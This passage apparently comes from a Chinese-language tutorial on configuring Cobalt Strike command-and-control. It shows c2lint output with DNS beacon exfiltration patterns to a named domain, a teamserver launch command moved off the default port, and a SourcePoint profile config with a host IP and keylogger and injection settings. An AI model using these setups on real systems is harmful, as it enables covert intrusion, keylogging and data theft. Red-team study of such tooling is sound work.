[.dns-beacon.put_metadata](data).(data).(data).(data).bbbbbbbbb.aaaaaaaa.freepics.losenolove.com.
e.md.(data).(data).(data).(data).bbbbbbbbb.aaaaaaaa.freepics.losenolove.com.
.dns-beacon.put_output = 'f.po.'
--------------------------------------------------------
[.dns-beacon.put_output](data).(data).(data).(data).bbbbbbbbb.aaaaaaaa.freepics.losenolove.com.
f.po.(data).(data).(data).(data).bbbbbbbbb.aaaaaaaa.freepics.losenolove.com.
[+] POST 3x check passed
[+] .http-get.server.output size is good
[+] .http-get.client size is good
[+] .http-post.client size is good
[+] .http-get.client.metadata transform+mangle+recover passed (1 byte[s])
[+] .http-get.client.metadata transform+mangle+recover passed (100 byte[s])
[+] .http-get.client.metadata transform+mangle+recover passed (128 byte[s])
[+] .http-get.client.metadata transform+mangle+recover passed (256 byte[s])
[+] .http-get.server.output transform+mangle+recover passed (0 byte[s])
[+] .http-get.server.output transform+mangle+recover passed (1 byte[s])
[+] .http-get.server.output transform+mangle+recover passed (48248 byte[s])
[+] .http-get.server.output transform+mangle+recover passed (1048576 byte[s])
[+] .http-post.client.id transform+mangle+recover passed (4 byte[s])
[+] .http-post.client.output transform+mangle+recover passed (0 byte[s])
[+] .http-post.client.output transform+mangle+recover passed (1 byte[s])
[+] .http-post.client.output POSTs results
[+] .http-post.client.output transform+mangle+recover passed (48248 byte[s])
[+] .http-post.client.output transform+mangle+recover passed (1048576 byte[s])
[+] Beacon profile specifies an HTTP Cookie header. Will tell WinINet to allow this.
[!] .host_stage is FALSE. This will break staging over HTTP, HTTPS, and DNS!
[!] .code-signer.keystore is missing. Will not sign executables and DLLs
[+] SSL certificate generation OK
我们还需以及不要忘记修改默认的团队服务器端口。编辑 teamserver 脚本,翻到第 57 行,将默认的 50050 换为另外一个端口。
# start the team server.
java -XX:ParallelGCThreads=4 -Dcobaltstrike.server_port=49227 -Dcobaltstrike.server_bindto=0.0.0.0 -Djavax.net.ssl.keyStore=./cobaltstrike.store -Djavax.net.ssl.keyStorePassword=123456 -server -XX:+AggressiveHeap -XX:+UseParallelGC -classpath ./cobaltstrike.jar:. -Duser.language=en server.TeamServer $*
此外,我们可以用工具 SourcePoint(https://github.com/Tylous/SourcePoint) 来生成属于更加自定义的 C2 侧写。我们需要先填写一个 yaml 文件:
Stage: "False"
Host: "34.192.196.71"
Keystore: "ts.store"
Password: "123123"
Metadata: "netbios"
Injector: "VirtualAllocEx"
Outfile: "test.profile"
PE_Clone: 20
Profile: 4
Allocation: 5312
Jitter: 30
Debug: true
Sleep: 35
Uri: 3
Useragent: "Innocent"
Post-EX Processname: 11
Datajitter: 40
Keylogger: "SetWindowsHookEx"
Customuri:
CDN:
CDN_Value:
ProfilePath:
Forwarder: True
然后我们用 sourcepoint 来根据 yaml 文件生成自定义的 C2 侧写:
因为 sourcepoint 生成的侧写的部分选项可能不被我们当前所使用的 CS 版本所支持,我们需要注释掉对应的选项与值,例如:
# Task and Proxy Max Size
#set tasks_max_size "1048576";
#set tasks_proxy_max_size "921600";
#set tasks_dns_proxy_max_size "71680";
.......
然后,使用 C2 lint 测试语法便能通过了。